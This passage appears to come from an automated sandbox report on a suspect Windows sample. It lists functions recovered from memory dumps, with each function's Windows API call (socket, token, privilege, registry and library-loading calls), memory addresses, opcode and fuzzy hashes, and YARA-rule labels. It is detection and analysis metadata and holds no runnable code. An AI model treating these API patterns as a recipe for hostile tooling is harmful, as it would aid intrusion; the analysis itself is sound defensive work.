Instruction Fuzzy Hash: B621E175408384AFE722CF21DC45FAABFB8EF06350F0884DBE9448B153C264A909CB72

Uniqueness

Uniqueness Score: -1.00%

Function 01D9B01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 01D9B0AE

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 10399cf12e81012fe2a911e03fc69226989b399b7d1f436b2ae2dfe059e73568
Instruction ID: c912194b2b884fe51550b0a6c5cf8afe13db0cb63a61cb2f6258f3460d18e231
Opcode Fuzzy Hash: 10399cf12e81012fe2a911e03fc69226989b399b7d1f436b2ae2dfe059e73568
Instruction Fuzzy Hash: F421A371509384AFEB22CF15DC45FA6BFB8EF06220F09849BE949DB152D664E908CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028D2A9E, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNEL32(?,00000E9C), ref: 028D2B1B

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: bedd9ac6e8b5cfaee55c841979cb9a1a7effaf0e7fc61e552bbf0b6426e1ee92
Instruction ID: c669437f44ec04585f55b390faab80a7a2339b58c46ed90cc223769101bb193b
Opcode Fuzzy Hash: bedd9ac6e8b5cfaee55c841979cb9a1a7effaf0e7fc61e552bbf0b6426e1ee92
Instruction Fuzzy Hash: 0F21CF76500704EFEB21DF61CC85FAAFBACEF04320F04896AFD45DA252D670E9098B61

Uniqueness

Uniqueness Score: -1.00%

Function 028D28A4, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D2938

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: shutdown
String ID:
API String ID: 2510479042-0
Opcode ID: 1e418f92a5946f4146e5c79fafead2c81966b33d497cbcaeaa5fa4f24049fce4
Instruction ID: e6e350acf98ec27d7dbd9ac8c08e85c6f3b847d694f7839459f76d889d7e1a8b
Opcode Fuzzy Hash: 1e418f92a5946f4146e5c79fafead2c81966b33d497cbcaeaa5fa4f24049fce4
Instruction Fuzzy Hash: 6121A1B5808384AFE712CB54DC45FA6BFA8EF42324F0985DAE9889B193D2646909C771

Uniqueness

Uniqueness Score: -1.00%

Function 028D1C0E, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNEL32(?,00000E9C), ref: 028D1C8B

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d987b48b3034dfd02ba89efefe8ed2afe5a8a777ba91f829427971258592540a
Instruction ID: 9ecef3260bf697a7c810906c2f44f67509f89ec7578c7e934cb3fdb2800de7f7
Opcode Fuzzy Hash: d987b48b3034dfd02ba89efefe8ed2afe5a8a777ba91f829427971258592540a
Instruction Fuzzy Hash: 0221BD76500704AFFB21DF61CC85FAAFBACEF04220F04896AF949CA251D635E9099B71

Uniqueness

Uniqueness Score: -1.00%

Function 028D2988, Relevance: 1.6, APIs: 1, Instructions: 79timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D2A11

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 54bca43836d4dc080a06a1bac4926f35c4cbdd8464f1654d902ea248f8478a62
Instruction ID: 770e4e1a7de8eda9f29d034c261e44d6d8af5daf4ca293f69258a59c79fce621
Opcode Fuzzy Hash: 54bca43836d4dc080a06a1bac4926f35c4cbdd8464f1654d902ea248f8478a62
Instruction Fuzzy Hash: 0A21B076505780AFEB22CF14DC45FA7BFB8EF06310F08849AF949DB192D235A909CB65

Uniqueness

Uniqueness Score: -1.00%

Function 01D9A1A8, Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,00000E9C,?,?), ref: 01D9A23E

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 4c3c81d35022a922cc95ecdce3e8ca4e61ae6de665064b428c930ed572179e3c
Instruction ID: 070a547d191e8dca56612214975631fae6eb6bdadd8fbceba6669f8b395e9e3f
Opcode Fuzzy Hash: 4c3c81d35022a922cc95ecdce3e8ca4e61ae6de665064b428c930ed572179e3c
Instruction Fuzzy Hash: 9821B57140D7C06FD312CB258C55B66BFB4EF43620F1981DBD8848F693D229A919CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 028D0784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D0819

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: ae29b783377365773719af2efe32c99d4cbed1001d6ed2ce4cf6d7bd2a1daf15
Instruction ID: 9abe6f38b38371e35ccd965c6b3d2787bb85d91d4ee28cd5ce7257190615c799
Opcode Fuzzy Hash: ae29b783377365773719af2efe32c99d4cbed1001d6ed2ce4cf6d7bd2a1daf15
Instruction Fuzzy Hash: D521DA76408780AFE712CB159C45FA3BFA8EF46724F0981DBF9898F193D224A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 028D2416, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 028D24A1

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: ad2e1c71aef003444b28b5ae4fd582bb65cdedb76fca20b394e9cb059bfc434b
Instruction ID: 5a84be7ce57ebd631e0b497f097d284f6eab65d75202db7f9e442c837f2ef564
Opcode Fuzzy Hash: ad2e1c71aef003444b28b5ae4fd582bb65cdedb76fca20b394e9cb059bfc434b
Instruction Fuzzy Hash: 612191B5505780AFE721CF15CC45F66FFA8EF05210F0884AEED888B292D375A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028D1F1F, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 028D1F9C

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 4062a2dc3addb0befdbf7f4f570d81ae749315a43f8e2f4a7bd9f4ea020eab76
Instruction ID: 8b7ef7bc83cdca20692b45126aacbc9d4d58d51af771d98900fdb63eeb1d5288
Opcode Fuzzy Hash: 4062a2dc3addb0befdbf7f4f570d81ae749315a43f8e2f4a7bd9f4ea020eab76
Instruction Fuzzy Hash: D9219C750093C0AFDB238F259C45AA2BFB4EF07220F0984DAED888F563C3259849DB61

Uniqueness

Uniqueness Score: -1.00%

Function 028D0464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 028D0502

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: c5aff0e7c0c73a973cb90e6d72e7dc598b6420031f9a85481e23f1298ef6fb27
Instruction ID: 7b9486285ec133e040cd13ff6936778f50d1b3a61e4b9d6dd47836b884003b66
Opcode Fuzzy Hash: c5aff0e7c0c73a973cb90e6d72e7dc598b6420031f9a85481e23f1298ef6fb27
Instruction Fuzzy Hash: 6B21607540E7C0AFD3128B258C55B66BFB4EF47610F1A81CFD8848F693D225A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 028D06AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 028D072D

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 13ba1f5d3b29b68b3ca30b3a2a8623168a0d6ad42af15f71c4e7d3bde4ce9dc5
Instruction ID: 2cbe20efa52452dba31cfa9696f69995a7f911e8d3bc70eeb191875f00a56976
Opcode Fuzzy Hash: 13ba1f5d3b29b68b3ca30b3a2a8623168a0d6ad42af15f71c4e7d3bde4ce9dc5
Instruction Fuzzy Hash: F0216B79500604AFE721DF65CC85B66FBE8EF08750F04846AE9498A292D772E908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028D0854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D08E5

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 4da7e5232270e52eaa2c39d39174cecc0b155866b0d04909c88094d647443f19
Instruction ID: ac1200330ef660b6b086a869f87854a9d91bf807836aa44dcc59eca671729f10
Opcode Fuzzy Hash: 4da7e5232270e52eaa2c39d39174cecc0b155866b0d04909c88094d647443f19
Instruction Fuzzy Hash: 45219275409380AFE722CF61DC44F56FFB8EF16314F09859BE9489B153C265A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D9A8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 01D9A94A

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 4d50d7045874cd0e9d4b02a91486d32cf1e4f661f9bcc82b6185af3c875db199
Instruction ID: 3e9fd72ab56424915a3016995b9af9e2f3ee0c6d8fc4ea059fc43f9921cfd3c7
Opcode Fuzzy Hash: 4d50d7045874cd0e9d4b02a91486d32cf1e4f661f9bcc82b6185af3c875db199
Instruction Fuzzy Hash: EA21A775409780AFD3138B25DC51B62BFB4EF87710F0981DBE8848B653D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 028D3ACA, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D3B59

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 7c04a435434733ffb3f9aa6d8e158d570228c399d0b9b7120c9be185ceb12ad1
Instruction ID: 009ac42b592ba9d0725596108352badbc864fbf76e238b00035105ccd4345cc6
Opcode Fuzzy Hash: 7c04a435434733ffb3f9aa6d8e158d570228c399d0b9b7120c9be185ceb12ad1
Instruction Fuzzy Hash: 35219575409780AFE7228F11DC45F96FFB8EF06320F0885DBE9849B193D265A909CB72

Uniqueness

Uniqueness Score: -1.00%

Function 028D47CE, Relevance: 1.6, APIs: 1, Instructions: 72encryptionCOMMON

Download Yara Rule

APIs

CertVerifyCertificateChainPolicy.CRYPT32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D4856

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: CertCertificateChainPolicyVerify
String ID:
API String ID: 3930008701-0
Opcode ID: 20983020612ebe0196b46fbf61680eb0360ff4eeedcec820c8c63a6a6d35a8aa
Instruction ID: 3e70904bab1e38fba9d518f2cf4d084e32344195ca7d3b9ffb8c6158d2768f97
Opcode Fuzzy Hash: 20983020612ebe0196b46fbf61680eb0360ff4eeedcec820c8c63a6a6d35a8aa
Instruction Fuzzy Hash: EF218E75409380AFE722CF14DC45FA6FFA8EF45350F0885ABE9889B192C375A908CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028D27DA, Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 028D284D

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: ca03e586e73e6869b6646a473f5d7964e69259dacc97e34f2740be395557094e
Instruction ID: e9e2761b9efecae3c8d8abe028a43d5d7172b88247631eb2bdf65dac90081dd9
Opcode Fuzzy Hash: ca03e586e73e6869b6646a473f5d7964e69259dacc97e34f2740be395557094e
Instruction Fuzzy Hash: BE218E79500344AFE720DF25DC85BA6FBE8EF04314F04846AED49CB246D771E908CA65

Uniqueness

Uniqueness Score: -1.00%

Function 028D2E88, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

RasConnectionNotificationA.RASAPI32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D2F17

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: 2589bf3aefa57c25edcdf9e8de68b91b3b2305c68e2a139f563b8fe32bc0cc83
Instruction ID: b2c4ed3aeae017ca5c1aea7703fb194bb93d40ed74428c192084bb0c0db7369f
Opcode Fuzzy Hash: 2589bf3aefa57c25edcdf9e8de68b91b3b2305c68e2a139f563b8fe32bc0cc83
Instruction Fuzzy Hash: A021C275409384AFE7228B10DC45FA6FFB8EF02314F0984DBE9889B193D265A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028D0D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 028D0DD6

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: c023222664b21b61274eb333895caa0a7cf1a88ac54fc8995cafa03144eae0f1
Instruction ID: 94abdee75d4ae84f532b629c39a778837d3c9b28a4c151b7ced985964ed1dfdb
Opcode Fuzzy Hash: c023222664b21b61274eb333895caa0a7cf1a88ac54fc8995cafa03144eae0f1
Instruction Fuzzy Hash: 1121A175500344AFF720DF25CC85BA6FBD8EF04314F04856AE848DB282D775F908CA62

Uniqueness

Uniqueness Score: -1.00%

Function 01D9BD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 01D9BDBC

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 1f6399adf17a03378026e9a256577ec366197da2abe365ec1cb2572576e22402
Instruction ID: 339d88aabc8e5bf3744ceeb32ed296d29ed79d35eaec317db96f4ce82829be96
Opcode Fuzzy Hash: 1f6399adf17a03378026e9a256577ec366197da2abe365ec1cb2572576e22402
Instruction Fuzzy Hash: 2711AC72500704EFEB21CF65DC85FAAFBACEF04320F04856AF949DA241D674E9048BB2

Uniqueness

Uniqueness Score: -1.00%

Function 028D2436, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 028D24A1

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: c37196d1756f5854b295af4e09b75b8b120d39d217062abcd0979db2488727bf
Instruction ID: 32bb8ff41fda6b0639a34a2c78ea282fa9cd95808a76233febcfacfddb4a293e
Opcode Fuzzy Hash: c37196d1756f5854b295af4e09b75b8b120d39d217062abcd0979db2488727bf
Instruction Fuzzy Hash: A9218EB5500644AFF720DF65DC85BA6FBA8EF04224F04C4AAED488B246D775A908CA76

Uniqueness

Uniqueness Score: -1.00%

Function 028D0F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,D560BF94,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 028D0FB0

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 73a0fe7fef50407111a389f50211590dd101f35be133326b0f4ffc4499d8b4d1
Instruction ID: 74b46071047aca571e411cbf86f9f0494ad1c11d425628e228b4ec9dcc20bc28
Opcode Fuzzy Hash: 73a0fe7fef50407111a389f50211590dd101f35be133326b0f4ffc4499d8b4d1
Instruction Fuzzy Hash: 4E218B7550D3C09FDB12CB25DC55B96BFB4AF13224F1C84DAE888CF693D2649808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028D2536, Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 028D25AA

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 1abea0c9a80eee76bfdb70a10ef82290b5f23917e2d47e08bf3d8c14856b7a6c
Instruction ID: 9bb00d28bc79aa1fd526eb2ba85cb65014015b296fbbd487368b920ebe325980
Opcode Fuzzy Hash: 1abea0c9a80eee76bfdb70a10ef82290b5f23917e2d47e08bf3d8c14856b7a6c
Instruction Fuzzy Hash: 3C21AE75500704EFE721DF55DC45FA6FBE8EF08310F04845EE9888B242D771A508CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028D1E5A, Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32 ref: 028D1EC6

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 8026a0f43ae981a4e2dca7cd0e255fa7bb8eb9ba41c8b50ebd4177c493bf9a10
Instruction ID: 19714f3f3ca7947cd362536aec275e10f49adb8f61a6216aae4f3ca6a644b327
Opcode Fuzzy Hash: 8026a0f43ae981a4e2dca7cd0e255fa7bb8eb9ba41c8b50ebd4177c493bf9a10
Instruction Fuzzy Hash: 7921AE75504704EFEB21DF65DC49BA6FBE4EF08320F04846EE9498B652D771A508CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01D9B04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 01D9B0AE

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 425236e4938c49af0b8b2721a8ca0c9d1ba1e06abc1e7053c5b2b7e9a85d8da8
Instruction ID: 29f10206b86e4fc11a1aca866aa78a0bc5a763c3d5db7faad3a54a4819148de9
Opcode Fuzzy Hash: 425236e4938c49af0b8b2721a8ca0c9d1ba1e06abc1e7053c5b2b7e9a85d8da8
Instruction Fuzzy Hash: C1118E71600704EFEB21DF19DC85FAAFBA8EF05660F14846BED49CB291D674E9048AB1

Uniqueness

Uniqueness Score: -1.00%

Function 028D2F8A, Relevance: 1.6, APIs: 1, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000E9C), ref: 028D2FED

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: 4be98d7eca59164d53d136d4dfcfaff1360d3153859df5d73311b8196d161910
Instruction ID: c0a1745a7952ea9fc3e837942d88ca625cc840ae38af66e7620f20793ff561ee
Opcode Fuzzy Hash: 4be98d7eca59164d53d136d4dfcfaff1360d3153859df5d73311b8196d161910
Instruction Fuzzy Hash: DD11D075500304EFFB20DF15DC85FAAFBA8EF04260F0484AAED44DA242D674A9098AA2

Uniqueness

Uniqueness Score: -1.00%

Function 028D1226, Relevance: 1.6, APIs: 1, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000E9C), ref: 028D12AF

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 43b1ab7873a9b1292b88e7739bb32e31cb8f373e2c1bfe20c2c550964891da3c
Instruction ID: bf895e396e9a04e7bf721674d45adc2a450b5b1900f64e8d8c16bf9fa9d37696
Opcode Fuzzy Hash: 43b1ab7873a9b1292b88e7739bb32e31cb8f373e2c1bfe20c2c550964891da3c
Instruction Fuzzy Hash: A9112675504340AFE721CF11DC85FA6FFA8DF41720F08809AFD489B292C3B9A948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D9BABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 01D9BB2F

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: ff6bc5d8aaecd9992cd870918418e356b5546ebf6e11822c1618a5582598c7d9
Instruction ID: 0b03ad7930961fd240e7fdf83ed07586a5b2e56109b005bb75a5aeaedf79360f
Opcode Fuzzy Hash: ff6bc5d8aaecd9992cd870918418e356b5546ebf6e11822c1618a5582598c7d9
Instruction Fuzzy Hash: 4F21A1725093C09FEB128F25DC55A92BFA4EF07224F0984DBDD858F2A3D224A908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D9AAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01D9AB1A

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 36d842f0624f52150075682afe5bb4692c5eb2a53278f25ea3a6f234833db17c
Instruction ID: d2002e0258d218a6946c5e512967f82415f77529c9d764a3733100c6f581819c
Opcode Fuzzy Hash: 36d842f0624f52150075682afe5bb4692c5eb2a53278f25ea3a6f234833db17c
Instruction Fuzzy Hash: C52172726053809FEB22CF29DC44B52BFA8EF56214F0884AAED49CB252D265E404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028D318E, Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D31F8

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: 41e25cbd9631064fdb4cea8b6072751510a03c37cdd017266bc8830c7f02da8a
Instruction ID: a12b5fcad71b0f41c29aa061cd703dc59eef8852c9efa0168e28ffe46d2f07a5
Opcode Fuzzy Hash: 41e25cbd9631064fdb4cea8b6072751510a03c37cdd017266bc8830c7f02da8a
Instruction Fuzzy Hash: 3711AF76400344EFEB21CF51CC45F9AFBA8EF04210F0485AAE9499A241D674A509CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 028D10D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 028D1148

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: eb02b4cf7dd98a491f842c3aa39e1733ac66e1e13a0b4e34dbabc15ca5a2418d
Instruction ID: 59e6728a66411f681bde7f945ebda997bbcbdbeeaa1b74df6a4b559f4beeb9fb
Opcode Fuzzy Hash: eb02b4cf7dd98a491f842c3aa39e1733ac66e1e13a0b4e34dbabc15ca5a2418d
Instruction Fuzzy Hash: 6F216D6540D3C09FD7138B25DC54A62BFB4EF57620F0980DBD8888F2A3D2695809D772

Uniqueness

Uniqueness Score: -1.00%

Function 028D29B2, Relevance: 1.6, APIs: 1, Instructions: 64timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D2A11

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 95958b0ba6653123dca774d640e96a992ef36e8d8a060ee672bffe5f55bb7baa
Instruction ID: e416222623d470ec55a6934235a5b3844c8ba169c8fc56b164fe8ab4b402715e
Opcode Fuzzy Hash: 95958b0ba6653123dca774d640e96a992ef36e8d8a060ee672bffe5f55bb7baa
Instruction Fuzzy Hash: F211EF76100700EFFB21CF55DC85FAAFBA8EF04720F04846AED09CA246D671A918CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 028D4A2C, Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 028D4A98

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 7daff1b1880762c00c79a527a526f81d34729b158874b4e07185ff8dd7611ddd
Instruction ID: 199b583666cb24d0b2f68e7c533fc6bfe91a206c9789e0d799494727b5fd8db9
Opcode Fuzzy Hash: 7daff1b1880762c00c79a527a526f81d34729b158874b4e07185ff8dd7611ddd
Instruction Fuzzy Hash: 452193755083809FD7218F65DC45B96FFF4EF06220F0884AEED89CB662D335A418DB61

Uniqueness

Uniqueness Score: -1.00%

Function 028D3660, Relevance: 1.6, APIs: 1, Instructions: 64networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D36D8

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 631d6626809ced2c5a1c74ff7e9d7ae6ffc80cbb90d04903d05f6932ad74149f
Instruction ID: 30568aecc2d7b5431a5292eebaae11b2ef71fbfb15506b279f97c8b35ab7786d
Opcode Fuzzy Hash: 631d6626809ced2c5a1c74ff7e9d7ae6ffc80cbb90d04903d05f6932ad74149f
Instruction Fuzzy Hash: 1A119375509784AFE721CF11DC45F56FFB8EF45720F0880DAF9489B192C268A948CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01D9AF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 01D9AFBE

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 7deca357368df646942cf8dbd0f71297fa4b5da45ca23e3c1cfb07eb802ac9c0
Instruction ID: 80e8fdc91017eea9245b6b91a00a101bada9792dd10a47e755bae0f81f318593
Opcode Fuzzy Hash: 7deca357368df646942cf8dbd0f71297fa4b5da45ca23e3c1cfb07eb802ac9c0
Instruction Fuzzy Hash: 6311CE72500700EFEB21DF59DC85FAAFBA8EF44720F14846AFD499B281D674A904CBB1
